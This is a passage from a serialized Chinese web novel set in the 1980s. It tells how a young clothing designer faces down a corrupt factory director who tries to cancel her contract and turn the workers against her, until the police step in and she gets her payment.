就是她的设计费,还没着落呢,也不知道张副厂长什么时候回来。 张国强最不经念叨,周柒柒就念叨了一下,晚上就接到他在火车站打过来的电话了。 “我明天一早就到厂里了,明天中午你过来一趟,准备好存折!” 第133章 厂里出啥事了? 周柒柒昨儿个睡足了觉,第二天,天刚蒙蒙亮就醒了,听见窗外树上的麻雀叽叽喳喳叫,干脆一骨碌爬起来。 想着这几天都是沈淮川这个病人早起去食堂打饭,今儿个她也早起去一回。 推开灶房门想去拿饭盒,却见沈淮川背对着她蹲在小马扎上,手里正捏着个粗瓷碗倒扣包子。 “醒啦?” 他声音带着刚睡醒的沙哑,伸手把铝锅往炉边推了推,“羊奶刚滚,晾会儿再喝不烫嘴。” 好家伙,这军人起的就是早,她这真是比不了一点。 周柒柒咬着热乎乎的包子,忽然觉得这粗瓷碗里的羊奶比往常更甜些,连飘着的奶皮都泛着暖融融的光。 吃饱喝足,正想去拿止痛药呢,沈淮川已经递过来了。 另外还末了还额外包了两片在小纸包里,让她放在胸口口袋。 周柒柒都有点不好意思了,好像她才是那个在家休养的病号。 西门那儿,赵大梅早早就候在那儿了,正和王大嫂一起往驴车上装花草。 昨儿个花草卖得火旺,王大嫂连夜又倒腾出一批来,菊花、秋海棠、文竹、芦荟摆了一地,满满当当装了小半车。 周柒柒瞅着那堆得冒尖的花草,眼睛瞪得溜圆。 “这么多?王大嫂,你这手脚也忒麻利了!” 她蹲下身摸了摸秋海棠的花瓣,那花瓣软乎乎的,跟绢子似的。 王大嫂被夸得有些不好意思,低头抿着嘴,伸手拢了拢额前的碎头发丝。 “嗨,我一个人哪儿能弄这么些啊?家里老太太瞅见能挣钱,昨儿个夜里也帮着一起拾掇呢。” 她说着往竹筐里又塞了盆文竹,竹筐压得吱呀响。 “老太太?” 周柒柒有些怔住了。 “老太太不是说我们瞎折腾,说绝对卖不出去,还笑话我们整得跟大买卖似的吗?咋就帮着一起干上了?” 王大嫂捂着嘴笑出了声,眼角的细纹都挤到了一块儿。 “这话我昨儿夜里也问了!老太太躺在炕上眼一瞪,说''我啥时候说过那话?是你们记错了!''” 小老太太,怎么还耍上赖了,三人都被逗乐了。 又说了几句,周柒柒和赵大梅就上路了。 周柒柒照旧坐在自制的软垫上,看着旁边随着驴车晃悠却稳稳当当的花草,忍不住赞叹。 “你这木头架子做得真结实。” 前头赶车的赵大梅回头瞅了瞅架子,眼睛笑成了月牙儿。 “这是我公公连夜打的,老爷子年轻时干过木匠,家里的家具、娃娃们的玩具、小车,全是他一手做的。” 周柒柒想起之前见过的老爷子,忍不住感叹,“你公公还挺有心的。” 赵大梅望着前头的土路,声音软了下来,带着些怀念。 “是啊,我婆婆走得早,家里两个娃娃都是公公帮着带大的。以前他脑子清楚的时候,地里的活、家里的活儿,爷俩抢着干,从不让我操一点心。” 她甩了个响鞭,驴蹄子踏在土路上发出“哒哒"”的声响。 周柒柒这才留意到,赵大梅虽说脸色晒得黑黢黢的,手上却没什么老茧,眼神里也没那种农家人常见的麻木,想来从前也是过过舒心日子的。 男人没了以后,她没舍得改嫁,就守着公公和娃娃。 驴车慢悠悠晃进城里,赵大梅今儿个采了好大一把野花,说是要搭给买花的客人。 周柒柒瞧着那野花开得鲜亮,下车时特意挑了几枝攥在手里。 赵大梅忙道,“你要是喜欢,明儿个我送羊奶时多给你采些送去,你这会儿办正事拿着不方便。” 赵大梅想得周到,周柒柒却摇了摇头。 “不用不用,今儿个王大嫂就去我家帮着栽花呢,屋里头花都快摆不下了,我拿这几枝,是想带给张副厂长。” 赵大梅眉头一下就皱起来了,有点嫌弃,“他那人奇奇怪怪的,也能喜欢花?” 周柒柒歪着脑袋想了想。 “应该是喜欢的,我老早之前去他办公室,瞅见他办公桌上放着个擦得锃亮的罐头瓶,里头插着几朵花,就是早都枯了。这不正好看见了,就顺道给他带几朵新的,也不费事儿。” 手里攥着散发着淡淡香气的野花,周柒柒心情轻快地迈进第一服装厂的大门。 门口还是,墙面上嵌着大大的水泥浮雕五角星,顶端的玻璃马赛克五颜六色,底下用宋体写着“第一服装厂"”几个大字。 虽说有些年头了,可五角星和玻璃都擦得干干净净。 可一踏进门,周柒柒就觉得不对劲。 往常她来的时候,张国强都会亲自在门卫室等着,今儿个不光他没影儿,连看门的老大爷都不在。 推开门往院子里一瞧,更是奇怪。 整个院子空空荡荡的,一个人影都没有,往常轰隆隆的机器声和车间里的号子声也全没了,安静得让人心里发毛。 周柒柒赶紧往马师傅的车间跑,只见里头就马师傅和她两个徒弟守在裁缝台前做样衣。 “马师傅,这是咋回事?厂里出啥事了?” 马师傅听见声音,眼睛唰地亮了,赶紧拉住周柒柒的手,急得声音都发颤。 “周师傅,你可算来了!吕厂长回来了!把咱们所有车间的活儿都停了,这会儿正跟张副厂长在办公楼后头吵呢!大家伙儿没活儿干,都跑去看热闹了!” “吕厂长?” 周柒柒眉尖一挑,之前听邹倩倩说过,这吕厂长就是个甩手掌柜,眼看厂里效益差,就打着生病的幌子躲在疗养院里享清福,把一摊子事儿全推给张国强。 她最瞧不上这种人,撇了撇嘴问。 “马师傅,他俩是不是为了我的事儿吵起来的?” 马师傅点了点头。 “好像是,今儿一早,张副厂长刚进厂子,就被吕厂长带人给扣下来了,两人说着库存合同什么的...” 后面的她也不清楚了,吕厂长停了工,大伙儿都跑去办公楼外头看热闹,她不爱凑那热闹,就拿了周柒柒之前给的设计图在这儿剪裁样衣。 “行,我知道了。” 周柒柒招手让马师傅凑近些,“马师傅,你能帮我一个忙吗?” 说了几句,周柒柒就快步去了后头的办公楼。 办公楼底下挤满了看热闹的工人,周柒柒费了九牛二虎之力才挤到二楼,刚上去就听见张国强扯着嗓子喊 “厂长,你不能这么干!那钱是人家周师傅应得的!” 他话音还没落呢,一个破锣般的声音就吼了起来。 “什么应得不应得的?我才是厂长!我签字了吗?批条子了吗?她一个外人凭啥拿厂里这么多钱?” “就凭人家把咱们厂子里的库存卖出去了!” “卖出去咋了?她不就设计了几件衣裳吗?按设计师的价,一个月给个三四十块就够意思了,犯得着给八百块吗?我当厂长的,一个月工资都不到八百!” 第134章 你对得起大家吗? 声音不是从周柒柒去过,张国强副厂长那间小办公室传来,而是楼梯口那间宽敞气派的大办公室。 办公室门大敞着,一眼就能看见张厚重的实木办公桌,后头摆着把黑色“老板椅”。 一个大腹便便的中年男人瘫在椅子里,指间夹着半截香烟,烟灰颤巍巍地悬着,眼瞅着就要掉到皱巴巴的衬衫领口上。 隔着烟雾缭绕,周柒柒都能瞧见他脸上油腻腻的反光。 男人身边站着穿红裙子的吴淑芬,就是那个厂长秘书。 她踩着高跟鞋“哒哒哒”走到沙发边,一把抓起茶几上的布包,里子都翻了出来,掏出一叠码得整齐的钞票,“啪”地拍在桌上。 “张副厂长,你还嘴硬!我看你就是和外人串通好,挖厂里的墙角!要不是我赶紧把厂长叫回来,今天八百,明天两千,几回下来,这厂子都要改姓了!” 她叉着腰,涂着红指甲的手指几乎戳到张国强脸上。 张国强伸手想去捡散落在地的照片,刚撑起身子,肩膀就被旁边膀大腰圆的保安大汉死死按住,整个人“咚”地又跌回椅子里,发出一声闷哼。 周柒柒看着这三个人欺负一个人,胸中的火“腾”地就冒起来了,抬脚狠狠踹在门上,门板“哐当”一声撞到墙上。 “我倒是不知道,这国营的服装厂,什么时候有姓了,是姓吴,还是姓吕啊?” 她双手抱臂,挑眉看着屋里几人,眼神里满是不屑。 突然出现的周柒柒把吕厂长和吴淑芬吓得一哆嗦。 还没等他们缓过神,周柒柒又冷笑一声,嘴角勾起一抹嘲讽的弧度。 “认识字儿的,知道这儿是国营厂,不知道的,还以为这儿不归国家管,而是归了某个地主老财了。” 这话说的严重,吕厂长脑门瞬间冒出一层汗,重重拍了下桌子。 “胡说什么!这儿是第一服装厂,我是国家任命的厂长,他是副厂长,本来就归我管!你个小丫头片子,啥都不懂别乱扣帽子!” 嘴上这么说,却朝保安使了个眼色,示意放人。 这会儿是八十年代,虽然已经过了那个风声鹤唳的时期了,但是被指控为地主老财,还是一件很严重的事儿,少不得会被带走调查。 张国强一被松开,立刻蹲下身,手忙脚乱地把照片和钱包碎片拢到一起,抬头冲周柒柒感激地点点头。 吴淑芬的手指直戳过来,尖着嗓子喊,“厂长!就是她!她就是周柒柒!” 吕厂长眯起眼睛,像打量货物似的把周柒柒从上到下扫了一遍,皮笑肉不笑地说。 “原来你就是周柒柒啊,来得正好,有件事得跟你说说,从现在起,你和张国强签的合同不作数了。” 他眼珠子滴溜溜一转。 “你要是想拿钱呢,就来厂里当临时工,一个月给你拿二十块钱工钱,要是不愿意,就一分钱别想拿走!” 昨天一听说吴淑芬说厂里库存真卖出去了,他就连夜雇车回来了。 厂里有多少库存他是知道的,要是都卖出去了,得分别人好几千块呢! 厂子里的钱,也就是他的钱,他才不允许他的钱落到别人口袋里! 周柒柒被这话气得都笑出声了,她“唰”地从公文包里抽出合同,重重拍在桌上。 “吕厂长,当我三岁小孩哄呢?咱们国家讲法治,合同上盖着厂子公章,双方都签了字,上级也批了,可不是你一句话就能作废的,我该拿的,是一成六的利润,不是二三十块就能打发的!” 张国强也快步站到她身后,掏出张皱巴巴的纸,声音虽然有些发颤但语气坚定。 “厂长,当初您说厂里事务都由我负责,这还有您签的委托书呢,不能不作数,该给多少就要给多少。” 吕厂长被堵得脸色一阵红一阵白,脸上的横肉不受控制地抖了抖。 他之前听吴淑芬说,周柒柒不过是个没上过大学的农村丫头,所以打算吓唬几句了事。 可眼前人不光准备齐全,张口闭口都是法律合同,根本不像能轻易糊弄的。 而且瞧她这架势,是不可能愿意来厂子里当临时工的。 他眼皮跳了跳。 硬的不行,他就来一招更硬的。 “张国强,我当时委托你因为我身体不适,权宜之计,现在我回来了,当然就是我说了算!厂子是我当家,不是你张国强!更不是你一个外人!” 他一把夺过吴淑芬手里的钱,“哗啦”一声摔在桌子上。 “这钱,今天谁也别想拿走!厂子都亏成这样了,还要分给外人?工人们辛辛苦苦的血汗钱,就这么被你们糟蹋?就算我答应,工人师傅们也不会答应啊!” 说着,他便是给了吴淑芬一个眼神。 吴淑芬脸上闪过一丝心领神会,快步走到门口,对着楼下乌央乌央的人群尖着嗓子喊道。 “工友们!快来看看啊!张副厂长找了个外人,签了个黑心合同,要把咱们厂子卖空啦!咱好不容易卖出去一批库存,工友们都还没发工钱呢,就要给别人分八百块啊!那可是八百块啊!就这么白白送出去!咱们的工资、咱们的福利,都被他们掏空了!” 张国强一听就急了,赶紧冲出去冲着人群解释道。 “大家别听吴淑芬胡说!我没卖厂子,我这是合作...” 可底下的工人早就炸开了锅。 这些天厂里一直连轴转,大家都知道,这是厂子里的库存卖出去了。 厂子连续半年都只发基本工资,落到手里的钱拢共都没有五十块钱,却要给一个刚来厂里的外人八百块钱。 大家都有些哗然,质疑声此起彼伏。 这时,吕守钱挺着肚子走到门口,扶着栏杆,换上一副痛心疾首的表情。 “工友们!我吕守钱对不住大家啊!我养病这几天,有人趁我不在,搞起了歪门邪道!签了个丧权辱厂的合同!要把咱们厂子最后一点家底都送给外人!八百块!八百块啊!够咱们多少工人一个月工资?够给咱们厂添台急需的设备了!这钱,能让她拿走吗?” 说着,他便是指向了走出来的周柒柒。 周柒柒今儿穿了一身西装,拎着自己缝的皮包,看着像是留洋回来的大小姐,工人们立刻群情激愤,挥舞着拳头大喊: “不能让她拿走!” “黑心合同!作废!” “滚出去!不准吸我们工人的血!” “打倒贪污犯!保卫工厂财产!” 这些人里,不少是吕守钱的亲戚,平时光拿工资不干活,跟着一唱一和。 也有不少不明真相、被“分钱”刺激到的工人,还有人冲着张国强喊。 “张副厂长,你怎么能这么干!你对得起大家吗?” 场面瞬间失控,张国强脸色煞白,焦急地想解释,声音却被淹没在愤怒的声浪中。 几个情绪激动的工人甚至试图往里冲,被保安拦住,但推搡间气氛更加紧张。 周柒柒成了众矢之的,有不少人冲着她站着的方向吐唾沫。 第135章 滚开!谁都不许动她! 吕守钱从前干思想政治工作,最拿手的就是煽动人心那套。 七年前,他正是靠着这手绝活,挤掉一众竞争者,稳稳坐上厂长的位子。 这会儿他仰着下巴,得意地扫过下面闹哄哄的工友,还特意斜睨了周柒柒和张国强一眼。 “我把话撂这儿!厂子里的钱是国家的,是咱第一服装厂全体工友的,轮不到外人来分!这事儿大伙儿都得站在理儿上!” 他扯着嗓子喊,唾沫星子随着喊声四处飞溅,肥厚的手掌在空中用力挥舞。 “咱们工人阶级的利益,绝对不能让外人给糟蹋了!” 这番话像是往火堆里浇了桶油,本就群情激愤的工友们顿时闹得更凶了,叫骂声、跺脚声震得楼板都微微发颤。 周柒柒哪见过这场面,脸色有点白,一时没说话。 吕守钱瞧她这模样,以为镇住了人,搓着手凑过去,笑得满脸褶子都堆到一块儿。 “怕了?我知道你有本事。这样,之前的合同不算数,我让你进厂里当正式工,一个月五十块工资。咱一起干,保准都能捞着好处。” 说着,他那黏腻的眼神在周柒柒身上游走,最后落在她高耸的胸脯上,喉结上下滚动了一下,压低声音道。 “而且,如果你工作做得好,以后也未必没有再拿八百块钱的机会...” 那语气里的暗示,任谁都能听出不怀好意。 “真的吗?吕厂长,你不会骗我吧?” 周柒柒猛地抬头,眼眶泛红,声音发颤,像只柔弱无助的小白兔。 她心里早就翻江倒海,满是对吕守钱的厌恶,但面上还得装出害怕服软的样子。 吕守钱果然上钩了,骨头都酥了半边,脚步踉跄着往前凑,伸出的手眼看着就要碰到周柒柒。 就在这千钧一发之际,周柒柒抬腿就朝他的要害踹过去,紧接着摸出藏在袖管里的辣椒水,对着他的眼睛狠狠一喷。 “啊啊啊!” 吕守钱惨叫着,佝偻着身子,一手捂着裆部,一手揉眼睛,跌跌撞撞往后退。 吴淑芬见状,尖叫着冲上来,指着周柒柒破口大骂。 “死狐狸精!竟敢对厂长动手!” 又扭头冲保安吼,“愣着干什么!抓她!” 话音刚落,那名壮汉就围了上来,张国强立马挡在了周柒柒的面前。 可他身板跟个小豆芽菜似的,哪里挡得住人高马大的保安,先是脸上被揍了几拳,然后“咚”的一声被推到墙边,后脑勺重重磕在墙上,疼得他眼前直冒金星。 那壮汉却还不罢手,提着腿就要再揣张国强一脚。 周柒柒攥着辣椒水,手心里全是汗,正慌神呢,一声炸雷似的吼声传来。 “滚开!谁都不许动她!” 赵大梅挥舞着鞭子冲进来,皮鞭甩在地上“啪”地炸响,震得保安一哆嗦。 她一把拽起张国强推到自己身后,铁塔似的身子又挡在了周柒柒跟前。 “大梅姐!” 周柒柒有些喜出望外,赵大梅冲着她点了点头,努了努下巴示意她往后站点。 保安回过神扑上来,赵大梅抡起拳头,“砰”地砸在对方身上。 她劲儿大得不得了,直接给保安砸得头晕眼花。 吕守钱和吴淑芬吓得脸色煞白,连连后退,一直退到楼梯口。 吕守钱突然眼睛一转,举起手里的钱,扯着嗓子喊。 “抢钱啦!有人抢钱!工友们上啊,抓住他们,咱这个月工资就有着落了!” 这话一出,他那帮平日里就跟着他混的亲戚立马跟着起哄,一群人推推搡搡往二楼涌。 现场顿时乱成一锅粥,叫骂声、推搡声、东西碰撞声混成一片。 张国强被挤得东倒西歪,好几次差点摔倒。 周柒柒感觉栏杆都在晃,再这么下去,非从二楼掉下去不可。 就在这时,楼下终于传来一阵威严的何止声。 “干什么!都动手!不许聚众闹事!” 人群被强行分开,十几个穿着绿色警服,戴着大檐帽的公安干警大步走了过来。 为首的中年警察一脸严肃,目光如炬,带着一股不怒自威的气势,好像随时都能掏出枪把人枪毙了一样。 喧闹的工人瞬间安静了下来,下意识地后退几步。 吕守钱和吴淑芬脸上的得意瞬间僵住,闪过一丝慌乱,公安怎么来了! 周柒柒则是松了一口气,拍了拍胸口,“还好还好,可算来了。” 她紧绷的身体终于放松了些,但手心依旧全是汗。 为首的公安环视一圈,上了二楼。 “怎么回事?聚这么多人想干什么?谁是负责人!” 吕守钱心里咯噔一下,赶忙挤出笑容迎了上去。 “哎呦,这不是市局治安大队的李队长吗?您可是大忙人,哪阵风把您给吹过来了?” 要是来的是别人,他还能应付一下,但这位可是部队里出来的,正儿八经上过战场的,出了名的刚正不阿,只认理儿不认钱。 李队长瞥了眼他油光发亮的肚子,满脸嫌弃。 “少套近乎,说!到底怎么回事?!” 吕守钱脸上堆着笑。 “误会,误会!就是厂子内部有点小纠纷,工友们情绪有点激动,我们正在处理,正在处理呢!不劳您费心的!” 他试图轻描淡写,把锅全都扣在了工人身上,绝口不提事情的起因和自己刚才的种种煽动。 张国强立刻上前,快速而清晰地说明了情况。 “...现在情况就是这样,合同完成,我要给周同志付钱,结果吕厂长忽然回来,不仅否认合同,还煽动工人阻挠付款,诬陷我们贪厂子里的钱!请公安同志主持公道!” 周柒柒立马从办公室把合同取了过来。 “李队长,这是合同,上面有盖章和签名,也向轻工业局报备过。” 两人对视了一眼,互相点了点头,没有多说什么。 李队长眉头紧锁,仔细看了合同上的公章和签名。 再瞧瞧闹哄哄的人群和那叠钱,心里立马有了数。 “合同没问题,该结的钱就得结。吕厂长,你煽动闹事是几个意思?想搞旧社会那套?这是要吃官司的!” 说着,他一挥手,“把动手的几个先铐起来!” 白晃晃的手铐一亮,刚才还嚣张跋扈的那帮混子立马蔫了,一个个耷拉着脑袋,乖乖伸出手。 李队长又看向吕守钱,“吕厂长,跟我们走一趟,把事儿说清楚!” 吕守钱知道躲不过,赔着笑往办公室走,“我去拿个文件,马上就来。” “不行!现在就走!” 李队长黑着脸喝止,眼神里满是不容置疑的威严。 吕守钱没办法,只能乖乖跟着走。 路过办公室时,他瞥见躲在柜子里、只露出一条缝的吴淑芬,赶紧使了个眼色。 吴淑芬心领神会,等所有人都走光了,才猫着腰钻出来。 她脸色苍白,眼神慌乱,抓起电话听筒就拨号。 “喂?是市经委卫主任办公室吗?快!跟他说一声!他小舅子出事了!” 第136章 你可能放心得太早了 李队长开着辆带警灯的吉普车呼啦啦到了,三两下就带着人回了G市公安局。 他先把那几个闹事最凶的汉子往监禁区里送,转头就亲自提溜着吕守钱去问话。 周柒柒这边呢,则是派了之前就见过的谭警官来做笔录。 一个周柒柒,一个张国强,其实都处于懵逼的状况,是正儿八经的什么都不知道。 俩人就把今儿个遇着的事儿顺了一遍,笔录做得飞快。 两人从问询室走出来的时候,赵大梅正一脸焦急地在外头等着周柒柒。 刚才在第一服装厂门口,两人已经短暂地交流过了。 周柒柒前儿个刚给赵大梅缝了条粗毛线围巾,想着她走街串巷卖盆栽时能围上挡挡风,又怕她嫌破费,悄摸塞她装苗的布袋子里了。 哪成想赵大梅以为是周柒柒自己落车上的,颠颠儿跑回来送,偏巧就撞上吕守钱带人闹事。 要不是她风风火火赶过来,周柒柒指不定得吃多大亏。 所以虽然刚才在服装厂门口,周柒柒让她自己先去忙自己的事儿,她也不放心,还是架着驴车给跟过来了。 这会儿周柒柒瞧着赵大梅脑门上的汗珠子,心里头一热,伸手就替她抹了把。 “大梅姐,我这边没事儿了,你赶快回去吧,待会儿车上盆栽被人顺走了咋办?” 张国强刚才也瞅见驴车上堆得冒尖的花草,想着赵大梅刚才也算救了他,赶紧跟着劝。 “可不是嘛,你快回去盯着,这儿有我呢。” 赵大梅毫不客气地翻了个白眼。 “有你顶啥用?就是有你,我才不放心。” 可不,周柒柒有辣椒水护体,一点儿也没伤着,反而是张国强,鼻青脸肿的,后脑勺肿着老大一个包,怎么看怎么滑稽。 张国强揉着太阳穴,声音嘶哑。 “周师傅,今天的事,确实是我的问题,我没料到吕厂长会忽然回来...” 毕竟在此之前,吕守钱已经快一年没回来过了,厂子里的事儿更是什么都不管,他有事儿想找他,都不知道去哪儿找人。 他实在是预料不到,吕厂长会在这个节骨眼杀回来,还整了这么一出。 “多亏你让马师傅把公安师傅叫过来,不然的话...” 他到现在还有点后怕。 几人正说着呢,李队长在办公室门口喊他们。 李队长往椅子上一坐。 “那几个混小子和那保安已经招了,聚众闹事,按照顶格的,得在局子里蹲上半个月,那个块头大的保安,还要赔偿医药费。” 周柒柒对这个结果还算满意,又追问道,“那吕守钱呢?” 李队长敲了敲桌子。 “他到底是国营厂的厂长,我们能按闹事罚他蹲局子,但咋定性,得他们上级主管的轻工业局,或者是市经济委员会来定。” 他顿了顿,又补了句。 “不过你放心,就他这德行,至少得撸了厂长职务,记个大过,往后别想端公家饭碗了。” 听他这么一说,周柒柒才点了点头,“那我就放心了。” 但一旁的张国强却是苦笑着摇了摇头,说道,“你可能放心得太早了。” “什么意思?” 周柒柒没来得及问出口呢,谭警官忽然急匆匆地冲了过来。 “李队长!市经委的同志来了!局长让你赶快过去一趟!” 李队长眉头紧皱,匆匆离开了。 没一会儿,他黑着脸回来,往桌上一拍。 “人让市经委的强行给提走了,说国营厂的事儿,由他们这个主管单位牵头调查,等调查结果出来,再让我们公安部门介入。” 这年头,这些单位的派头一个比一个大,他这个治安大队长还真没什么办法。 张国强往墙上一靠,叹了口气。 “我之前听他们说,市经委的卫主任,就是吕厂长的姐夫,本来还不相信,现在看来,估计是真的。” 这几年,有不少工友都明里暗里地举报过吕守钱,可每次上头说了会调查,但最后都是没啥结果。 估计这件事儿,调查到最后,也是不了了之。 周柒柒总算明白,为啥吕守钱敢这么横,感情是上头有人撑腰。 正憋屈着,李队长忽然从抽屉里掏出一沓票子,往周柒柒面前一推。 “这事儿我管不了,但你合同的钱我给要回来了,你收好了,往后没人敢拿这事儿找你麻烦。” 这倒给了周柒柒一个意外的惊喜,这钱终于长着翅膀飞到她手里了。 她知道李队长为了这事肯定磨破了嘴皮子,连着说了好几声“谢谢”。 李队长摆摆手,眼神有点闪躲,周柒柒可是沈淮川的媳妇。 自己人受了委屈,他才帮了这么点忙,要是被沈淮川知道了,估计得小看他这个师傅了。 出了公安局,大家都有点无精打采的。 到了路口,赵大梅去牵驴车,张国强扭头问周柒柒。 “周师傅,你往后咋打算?” “还能咋办?” 周柒柒撇了撇嘴。 幸好当时她看到吴淑芬的异常之后,就多留了个心眼,把合同改成了分阶段的,现在第一阶段的钱到手了。 算下来,其实她没什么损失。 “大不了以后不再和第一服装厂合作就是了。” 她路子多得很,再回去摆摊也行。 她顿了顿,反问,“倒是你,张副厂长,你预备咋办?” 张国强望着远处的厂房,揉了把脸,语气里全是疲惫。 “我也没啥主意,先回厂里吧,这两天货款该到账了,趁着吕守钱被带走,我赶紧把钱发给工友们……” 估计等吕守钱回去了,肯定要打击报复他,到时候他这个副厂长的职位肯定不保,还不如这个时候,先把钱发了。 “你是个好厂长,可惜...” 周柒柒拍了拍他的肩膀,就准备先回去了。 赵大梅要送她,她坚决不让。 “你送张副厂长回去吧,反正你今儿要去毛巾厂家属院,顺路的。” “行吧。” 赵大梅答应得不情不愿,等她们走了,周柒柒准备搭采购车回去,忽然想起来有件重要的事儿没和李队长嘱咐呢,赶紧跑回了公安局。 第137章 死穷鬼! 李队长看见周柒柒去了又回来,心里“咯噔”一下,以为出了什么大事,腰板都不自觉挺直了。 等听明白是件鸡毛蒜皮的小事,脸上紧绷的线条一下子松下来,笑着点头应承。 “放心吧,柒柒,这事儿,我保证不告诉淮川。” 说完,他轻轻摇头,压低声音嘀咕,“你们这小夫妻俩还挺有意思,都不让告诉对方。” 周柒柒耳朵尖,眉头瞬间就皱了起来,反问道。 “都不告诉对方?是不是沈淮川有啥事瞒着我?” 李队长不愧是干公安的,反应快得很,脸上还是那副笑眯眯的模样,半点看不出慌张,张口就改了口。 “你听错了,我是想问,你为啥不告诉对方啊?” “这个...” 周柒柒沉吟了一下。 前两天刚出了周主任那事儿,今早她出门的时候,偶然听到几个军嫂在议论。 说周柒柒没进门的时候,都是周淑华在帮着他照顾家里,照顾沈渡舟。 沈淮川忘恩负义,娶了媳妇就忘了师母了。 放任媳妇把师母气得半死,甚至连妇女主任都不想当了。 “阎王就是阎王,冷血无情!” 那几个军嫂,平时和周柒柒无冤无仇的,甚至有一个还是之前修茅房的时候,替周柒柒说过话的,她们的议论,一定程度上代表了军属区大多数人的想法。 周柒柒心里还挺愧疚的。 毕竟她和沈淮川就是搭伙过日子,沈淮川对他还挺不错的,结果因为自己的事儿,影响了他。 当时她就想着,这种事儿不能再发生了。 所以这会儿,她才赶来嘱咐李队长,前往别把这事儿说出去。 要是沈淮川知道了,肯定又要想办法帮他。 可这吕守钱是个混蛋,背后又有人撑腰,沈淮川要是跟他起了冲突,少不得要吃亏的。 周柒柒心里是这么想的,但嘴上却不能这么说,只打了个哈哈。 “嗨,这不是淮川伤还没好呢,是个病号,医生说了,不能让他太费精神。” 李队长恍然大悟,笑道。 “医生说的?那是应该的,应该的!你这小妮子还挺细心,淮川真是娶了个好媳妇。” 又问道,“淮川的伤咋样了啊?前阵子局里太忙,没顾得上去医院看他,你看看那天方便,我带着你婶子去家里看看。” 周柒柒爽快应道:“随时都行,您提前打个电话说一声就成。” 正说着,谭警官推门进来报告,说有一伙从外省流窜来的流氓在师范学校附近抢劫、调戏妇女,好多大学生都遭了殃。 八十年代初,刚经历过特殊时期,城里突然涌进大批待业青年,不少不法分子趁机拉帮结派,四处作案。 抢劫、伤人的事儿常有,相比之下,这群流氓犯的事儿还算轻的。 可麻烦就麻烦在他们人多,神出鬼没,抓都抓不过来,李队长正为这事儿头疼。 周柒柒听得也有些揪心,赶忙从自己的小包里掏出了辣椒水。 “不如让学生们自己带点防身的东西,像我做的这种辣椒水,我觉着挺管用。” 她手里这瓶已经用掉大半,小小的一瓶,揣在手里不起眼,关键时刻却能打坏人个措手不及。 李队长眼睛“唰”地亮起来,想起刚才审问吕守钱时,那家伙通红的眼珠子和止不住的眼泪。 赶紧摸出张纸,让周柒柒把辣椒水的制作方法写下来,打算让公安局食堂做一批,免费发给女大学生。 拿着纸条,李队长笑得满脸褶子,“要是真有用,你可帮了我们大忙了,回头我让局里给你出个表扬信。” 周柒柒连忙摆手:“不用不用,一点小事儿而已。” 折腾了一上午,眼瞅着到饭点了,李队长热情邀请,“要不然今天就在我们局里食堂吃饭吧。” 周柒柒笑着摇头拒绝:“算了算了,这局子里的饭啊,我怕是吃不习惯,又怕吃得太习惯。” 出了公安局,周柒柒坐上公交车直奔批发市场,找到之前批发衣服的档口。 大中午的,档口没几个人,李萍刚做成一笔生意,正低头记账呢。 一抬头看见周柒柒,“啪”地把笔一放,从柜台里走出来,上下打量着她,打趣道。 “哟,这不是咱们周大设计师嘛?什么风把您吹到这儿了?” “萍姐,你就别笑话我了!” 两人大半个月没见,一点没生分。 周柒柒一眼瞥见李萍身上穿的,正是自己设计的毛衣裙,挑眉说道:“吃饭没,我请你去国营饭店搓一顿!” 李萍立马来了精神,“那感情好,你等下,我把我男人叫过来看档口。” 两人很快到了国营饭店,一路上,李萍挎着周柒柒的胳膊,止不住的夸。 “最近我们这批发圈里,都在讨论你那这件改造的款式呢,是真洋气!我就知道,我的眼光准没错!尤其是这件毛衣裙,都快成爆款了!” 周柒柒揶揄道,“你这么看好我?我看您档口里怎么也没挂我那几件啊?就身上穿了一件。” 说着便是到了国营饭点,两个找了个角落的位置。 李萍坐下后,先把包放在旁边凳子上,想了想又挎回身上,顺便提醒了周柒柒注意安全,接着说。 “你那批货那么好卖,我倒是想要呢,这不,张副厂长说了,货全都被花城那边的批发商包圆了,一点儿没剩下,我还是搬出你的名号来,才给拿了一套,我自己留了这件最喜欢的,剩下的几件给我家里人了。” 两人一边说着,一边点了菜。 李萍和周柒柒一样,自己做生意,都是不差钱的,也都是该省省,该花花。 你一道“酱牛肉”,我一道“清蒸鲈鱼”,点了四五个菜。 点完菜,两人争着抢着往外掏粮票和钱,最后还是周柒柒手速快一点,硬把粮票塞到服务员的口袋里了,还引起了旁边几桌男人的侧目。 他们四个人才点两个菜,对着两人,尤其是年轻的周柒柒指指点点的,神情有些不怀好意,嘴里还隐隐嘟囔着“小三”什么的。 李萍狠狠瞪了他们一眼。 “我们花自己的钱不争不抢的,碍着你们什么了?搁那儿造谣,死穷鬼!” 说着便是碰了碰周柒柒的肩膀,“别理他们!犯不着为了他们生气!” 周柒柒鼻孔对着他们。 “我才不生气呢,这些人自己挣不着钱,却对陌生女人的钱包那么有占有欲。” “说得好!就是!多余搭理他们,有这会儿时间都多挣点钱了。” 李萍揽着周柒柒胳膊回到了座位,顺便又问道。 “对了,你们下一批货什么时候出来啊,你给我一手消息,我提前抢货去。” 第138章 自个儿的牌子? 周柒柒扯了扯嘴角,无奈地晃了晃脑袋。 “这个我就帮不了萍姐你了,已经没有下一批货了。” “啥?没有了?” 李萍起初还一脸的诧异,但当听说是吕守钱回来了之后,瞬间就明白了。 连珠炮似的说了起来,又是咒骂又是惋惜。 “吕守钱那个油乎乎的猪头男,简直是个败类!早先第一服装厂多风光啊,现在落得这步田地,除了库存积压,大半都是让这败类给作践的!往自己兜里划拉了多少厂子里的钱!在外面胡吃海喝赌钱,还养女人!” “你你刚到G市不晓得,前几年多少人举报他,愣是没用。管他们的市经委主任是他姐夫,告到上头最后都不了了之。” “这蛀虫把第一服装厂啃得快断气了,自己装病甩挑子,把烂摊子全丢给张副厂长。现在张副厂长好不容易让厂子喘口气,他倒好,还有脸回来?!” 李萍和张国强是多年的朋友了,说起这些来,格外义愤填膺。 但生气归生气,她也晓得,这些事左右不了,便收了火气问周柒柒。 “那你接下来有什么打算,是不是打算继续摆摊?还在我这儿进货,自个儿拿回去改造?” “不了。” 周柒柒摇了摇头,之前她手里头启动资金不多,也不认识几个人,所以才选择了改造基础款。 现在她手里差不多有一千八百块左右,在加上小小打了点知名度。 “也该整整自个儿的牌子了。” “自个儿的牌子?” 李萍摸了摸衣角那小小的刺绣图标,嘴角咧了起来。 “怪不得你之前要在自己的款式上加刺绣,原来这是你的独家商标!” 周柒柒点头:“嗯呢,早先那些款式,我都托张副厂长去轻工业局备过案了,往后只有我能做。” “看不出来你这丫头还挺有心思,我待见!” 